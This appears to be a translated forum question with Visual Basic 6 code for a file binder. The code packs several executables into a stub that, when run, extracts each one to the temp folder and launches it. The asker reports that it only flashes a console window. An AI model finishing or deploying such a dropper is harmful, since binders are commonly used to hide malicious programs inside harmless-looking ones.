好吧,所以我本质上是在尝试编写一些将在 VB 中将两个文件组合在一起并输出一个文件的东西,该文件在运行时会同时运行它们。我已经从网上的几个地方获取了这个来源,我只是想让它发挥作用。我们有将它们与 GUI 结合起来的主程序
Const FileSplit = "@<>#<>#<>@"
Private Sub cmdAdd_Click()
With Dlg
.Filter = "All Files(*.*) | *.*"
.DialogTitle = "Please Select a File..."
.ShowOpen
End With
lsFiles.AddItem (Dlg.FileName)
End Sub
Private Sub cmdBuild_Click()
Dim sStub As String, sFiles As String, i As Integer
Open App.Path & "\stub.exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
Open App.Path & "\boundfile.exe" For Binary As #1
Put #1, , sStub & FileSplit
For i = 0 To lsFiles.ListCount - 1
Open lsFiles.List(i) For Binary As #2
sFiles = Space(LOF(2))
Get #2, , sFiles
Close #2
Put #1, , sFiles & FileSplit
Next i
Close #1
MsgBox "Files Successfully Combined"
End Sub
然后我们有第二个应用程序充当存根
Const FileSplit = "@<>#<>#<>@"
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim sStub As String, sFiles() As String, i As Integer
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sStub = Input(LOF(1), 1)
Get #1, , stub
Close #1
sFiles = Split(sStub, FileSplit)
For i = 1 To UBound(sFiles())
Open Environ("tmp") & "\tmp" & i & ".exe" For Binary As #1
Put #1, , sFiles(i)
Close #1
Call ShellExecute(0, vbNullString, Environ("tmp") & "\tmp" & i & ".exe", vbNullString, vbNullString, vbNormalFocus)
Next i
End
End Sub
但是,当文件合并并运行时,我得到的只是一个 dosbox 打开和关闭。有任何想法吗?